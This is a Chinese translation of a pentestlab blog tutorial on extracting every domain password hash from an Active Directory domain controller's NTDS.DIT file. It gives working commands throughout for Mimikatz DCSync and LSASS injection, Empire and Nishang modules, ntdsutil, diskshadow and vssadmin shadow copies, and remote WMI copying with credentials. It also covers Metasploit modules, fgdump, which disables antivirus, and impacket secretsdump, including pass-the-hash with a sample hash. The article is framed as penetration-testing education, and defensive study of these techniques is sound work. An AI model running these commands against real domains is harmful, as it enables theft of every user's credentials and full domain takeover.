本文翻译自: https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/

前言

在渗透测试期间一个非常常见的情形是,在获得域管理员访问权限后需要提取所有域用户的密码哈希以进行线下破解和分析。 这些哈希值存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如组成员身份和用户。

NTDS.DIT文件始终被操作系统使用,因此无法直接复制到其他位置以提取信息。 在Windows以下位置可以找到此文件:

C:\Windows\NTDS\NTDS.dit

可以使用多种技巧来提取此文件或存储在其中的信息,不过大多数技巧都基于以下方法:

  1. 域控制器复制服务(Domain Controller Replication Services)
  2. Windows原生的二进制文件
  3. WMI

Mimikatz

Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。 此技巧避开了直接运行域控制器(Domain Controller, DC)所需要的身份验证,它可以通过域管理员的权限从域的任何系统执行。 因此它是红队的标准技巧,因为它很低调。

lsadump::dcsync /domain:pentestlab.local /all /csv

Mimikatz - 通过DCSync转储域哈希

通过使用/ user参数指定域用户名,Mimikatz可以转储指定用户的所有帐户信息,包括其密码哈希。

lsadump::dcsync /domain:pentestlab.local /user:test

Mimikatz - 通过DCSync转储用户哈希

或者直接在域控制器中执行Mimikatz,通过lsass.exe进程转储密码哈希。

privilege::debuglsadump::lsa /inject
  lsadump::lsa /inject

Mimikatz - 通过lsass转储域哈希

提取域用户的密码哈希值。

Mimikatz - 通过lsadump转储域哈希

Empire

PowerShell Empire有两个模块,可以通过DCSync攻击获得域哈希。 这两个模块都需要以域管理员身份执行,并且他们要使用微软复制服务。 这些模块依赖于Invoke-Mimikatz PowerShell脚本来执行与DCSync相关的Mimikatz命令。 以下模块将提取的域哈希以类似于Metasploit hashdump输出的格式进行输出。

usemodule credentials/mimikatz/dcsync_hashdump

Empire - DCSync Hashdump模块

DCSync模块需要指定用户才能提取所有帐户信息。

Empire - DCSync模块

将获得以下信息:

Empire - DCSync帐户信息

Nishang

Nishang是一个PowerShell框架,它使红队队员和渗透测试人员能够对系统进行攻击性操作。 Copy-VSS脚本可用于自动提取所需的文件:NTDS.DIT,SAM和SYSTEM。 这些文件将被解压缩到当前工作目录或指定的任何其他文件夹中。

Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\

Nishang - 提取NTDS PowerShell

或者,可以通过加载PowerShell扩展从现有的Meterpreter会话执行脚本。

load powershell
powershell_import /root/Copy-VSS.ps1
powershell_execute Copy-VSS

也可以使用命令powershell_shell建立直接PowerShell会话,以便在脚本导入现有Meterpreter会话后提取文件。

Copy-VSS
Copy-VSS -DestinationDir C:\Ninja

Nishang - 提取NTDS Meterpreter PowerShell

PowerSploit

PowerSploit包含了一个PowerShell脚本。该脚本可以利用卷影拷贝服务(Volume Shadow copy Service, VSS)创建一个新卷,用于提取文件。

Import-Module .\VolumeShadowCopyTools.ps1
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy

PowerSploit - VolumeShadowCopyTools

或者,可以通过加载PowerShell扩展来从现有的Meterpreter会话执行它。

powershell_shell
New-VolumeShadowCopy -Volume C:\
Get-VOlumeShadowCopy

PowerSploit - 卷影拷贝

然后,可以使用命令copy将文件从新卷复制到目标路径。

Invoke-DCSync

Invoke-DCSync是一个PowerShell脚本,由Nick Landers开发,利用PowerView,Invoke-ReflectivePEInjection和PowerKatz的DLL包装器,使用DCSync的Mimikatz方法提取哈希值。 直接执行该函数将生成以下输出:

Invoke-DCSync

Invoke-DCSync - PowerShell

结果将格式化为四个表:Domain,User,RID和Hash。
使用参数-PWDumpFormat执行Invoke-DCSync将以以下格式提取哈希: user:id:lm:ntlm :::

Invoke-DCSync -PWDumpFormat

Invoke-DCSync - PowerShell PWDump格式

通过从现有的Meterpreter会话运行脚本,可以实现相同的输出。

Invoke-DCSync Metasploit

使用PWDumpFormat:

Invoke-DCSync - Metasploit PWDump格式

NTDSUTIL

ntdsutil是一个命令行工具,是域控制器生态系统的一部分,其目的是使管理员能够访问和管理Windows Active Directory数据库。 但是,渗透测试人员和红队可以借用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取。

ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit

NTDSUTIL

将生成两个新文件夹:Active Directory和Registry。 NTDS.DIT文件将保存在Active Directory中,SAM和SYSTEM文件将保存到Registry文件夹中。

ntdsutil - ntds

Diskshadow

DiskShadow是Microsoft签名的二进制文件,用于协助管理员执行与卷影拷贝服务(VSS)相关的操作。 最初bohops在他的博客中写到了这个二进制文件。 这个二进制文件有交互式和脚本两种模式,因此可以使用一个脚本文件,它将包含自动提取NTDS.DIT所需的所有命令。 脚本文件可以包含以下命令,以便创建新的卷影拷贝,装入新驱动器,执行复制命令并删除卷影拷贝。

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

应该注意, DiskShadow二进制文件需要从C:\Windows\System32路径执行。 如果从其他路径调用它,脚本将无法正确执行。

diskshadow.exe /s c:\diskshadow.txt

Diskshadow

直接从解释器运行以下命令将列出系统的所有可用的卷影拷贝。

diskshadow
LIST SHADOWS ALL

diskshadow - 提取卷影拷贝

SYSTEM注册表配置单元也应该被复制,因为它包含解密NTDS文件内容的密钥。

reg.exe save hklm\system c:\exfil\system.bak

diskshadow - 从Registry复制系统

WMI

Sean Metcalf在他的博客中证明,可以通过WMI远程提取NTDS.DIT和SYSTEM文件。 此技巧使用vssadmin二进制文件来创建卷影拷贝。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

WMI - 创建卷影拷贝

然后,它远程执行复制命令,以便将卷影拷贝中的NTDS.DIT文件解压缩到目标系统上的另一个目录中。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"

WMI - 复制NTDS文件

这同样适用于SYSTEM文件。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"

WMI - 复制系统文件

然后,解压缩的文件可以从域控制器传输到另一个Windows系统,以转储域密码哈希值。

PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp

通过copy传输文件

如果进一步拿去生成黄金票据(Golden Ticket),则可以替换凭证,使用它通过域控制器的Kerberos协议身份验证。(参见文末参考链接)

VSSADMIN

卷影拷贝(VSS)是一个Windows命令行程序。它使得管理员可以备份计算机,卷和文件,即使它们正在被操作系统使用。 卷影拷贝作为服务运行,并要求文件系统为NTFS格式,默认情况下所有现代操作系统都是如此。在Windows命令提示符执行以下操作将创建C:驱动器的快照,以便用户将通常无法访问的文件复制到其他位置(本地文件夹,网络文件夹或可移动介质)。

vssadmin create shadow /for=C:

vssadmin - 创建卷影拷贝

由于C:驱动器中的所有文件都已复制到另一个位置(HarddiskVolumeShadowCopy1),因此它们不会被操作系统直接使用,从而可以访问并复制到另一个位置。 命令COPY会把NTDS.DIT和SYSTEM文件复制到本地驱动器上的新建文件夹ShadowCopy中。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

从卷影拷贝中复制文件

这些文件需要从域控制器复制到另外的主机以进行进一步处理。

ShadowCopy 文件夹下的文件

vssown

与vssadmin程序类似, Tim Tomes开发了vssown ,它是一个可视化的脚本,可以创建和删除卷影拷贝,从卸载的卷影拷贝里运行任意的可执行文件,以及启动和停止卷影拷贝服务。

cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete

vssown - 卷影拷贝

可以使用命令COPY复制所需的文件。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown

vssown - 复制NTDS,SYSTEM和SAM文件

Metasploit

Metasploit框架有一个模块,它通过服务器消息块(Server Message Block, SMB)服务直接与域控制器进行身份验证,创建系统驱动器的卷影拷贝,并将NTDS.DIT和SYSTEM配置单元的副本下载到Metasploit目录中。 这些文件可以与impacket等其他工具一起使用,这些工具可以执行Active Directory的密码哈希的提取。

auxiliary/admin/smb/psexec_ntdsgrab

Metasploit - NTDS模块

还有一个后期利用模块,可以链接到现有的Meterpreter会话,以便通过ntdsutil方法提取域哈希。

windows/gather/credentials/domain_hashdump

或者,如果有现成的到域控制器的Meterpreter会话,则可以使用命令hashdump 。 但是,此方法被认为是不安全的,因为它可能会使域控制器崩溃。

hashdump

Metasploit - DC上的Hashdump

fgdump

fgdump是一个老的可执行文件,可以提取LanMan和NTLM的密码哈希值。 如果已获得本地管理员凭据,则可以在本地或远程运行fgdump。 在运行期间,fgdump将尝试关闭系统上可能存在的反病毒软件,如果成功,则会将所有数据写入两个文件中。 但是说实话,如果存在反病毒软件或终端安全解决方案,为了避免被探测到攻击行为,不应使用fgdump转储密码哈希。因为大多数反病毒公司(包括Microsoft的Windows Defender)都会对其进行查杀。

fgdump.exe

fgdump - 域控制器

可以通过检查.pwdump文件的内容来提取密码哈希值。

type 127.0.0.1.pwdump

fgdump - pwdump文件

NTDS提取

Impacket是一组python脚本,可用于执行各种任务,包括提取NTDS文件的内容。impacket-secretsdump模块需要SYSTEM和NTDS两个数据库文件。

impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

impacket - 提取NTDS内容

此外, impacket还可以通过使用计算机帐户及其哈希进行身份验证从NTDS.DIT文件远程转储域密码哈希。

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

impacket - 远程提取NTDS内容

作为impacket的替代解决方案, NTDSDumpEx二进制文件可以从Windows主机中提取域密码哈希值。

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

NTDSDumpEx

还有一个shell脚本adXtract ,它可以将用户名和密码哈希导出为一种通用格式,继而被常见的密码破解程序使用,例如John the Ripper和Hashcat。

./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

adXtract

该脚本将所有信息写入项目名称下的各种文件中,当数据库文件NTDS的解密完成后,将用户列表和密码哈希值导出到控制台中。 该脚本将提供有关域用户的大量信息,如下所示。

adXtract - 用户列表

密码哈希将以下列格式显示。

参考链接

Active Directory 概述

从NTDS.dit获取密码哈希值的三种方法

How the Active Directory – Data Store Really Works

Kerberos Golden Ticket Protection

Kerberos的黄金票据详解

源链接

Hacking more

...